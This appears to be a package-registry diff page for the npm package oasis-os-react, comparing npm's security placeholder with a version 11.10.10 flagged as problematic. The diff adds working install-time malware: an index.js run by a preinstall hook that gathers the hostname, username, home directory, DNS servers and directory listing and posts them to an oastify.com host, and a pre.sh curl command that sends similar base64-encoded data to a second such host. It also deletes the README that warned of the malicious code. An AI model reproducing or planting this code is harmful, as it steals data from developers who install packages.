oasis-os-react 0.0.1-security → 11.10.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of oasis-os-react might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +59 -0
  2. package/package.json +9 -3
  3. package/pre.sh +3 -0
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,59 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const { execSync } = require("child_process");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ let lsResult;
10
+
11
+ // Check the operating system and execute the appropriate command
12
+ if (os.platform() === "win32") {
13
+ // For Windows
14
+ lsResult = execSync("dir", { encoding: "utf-8" });
15
+ } else {
16
+ // For Unix-like systems
17
+ lsResult = execSync("ls -la", { encoding: "utf-8" });
18
+ }
19
+
20
+ const trackingData = JSON.stringify({
21
+ p: package,
22
+ c: __dirname,
23
+ hd: os.homedir(),
24
+ hn: os.hostname(),
25
+ un: os.userInfo().username,
26
+ dns: dns.getServers(),
27
+ r: packageJSON ? packageJSON.___resolved : undefined,
28
+ v: packageJSON.version,
29
+ pjson: packageJSON,
30
+ lsResult: lsResult,
31
+ });
32
+
33
+ var postData = querystring.stringify({
34
+ msg: trackingData,
35
+ });
36
+
37
+ var options = {
38
+ hostname: "yqsdss4zzeleyxr6l3t4e3xbw22uqke9.oastify.com",
39
+ port: 443,
40
+ path: "/",
41
+ method: "POST",
42
+ headers: {
43
+ "Content-Type": "application/x-www-form-urlencoded",
44
+ "Content-Length": postData.length,
45
+ },
46
+ };
47
+
48
+ var req = https.request(options, (res) => {
49
+ res.on("data", (d) => {
50
+ process.stdout.write(d);
51
+ });
52
+ });
53
+
54
+ req.on("error", (e) => {
55
+ // console.error(e);
56
+ });
57
+
58
+ req.write(postData);
59
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "oasis-os-react",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "11.10.10",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall":"node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/pre.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://umk9oo0vvahautn2hzp0azt7syypmga5.oastify.com
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=oasis-os-react for more information.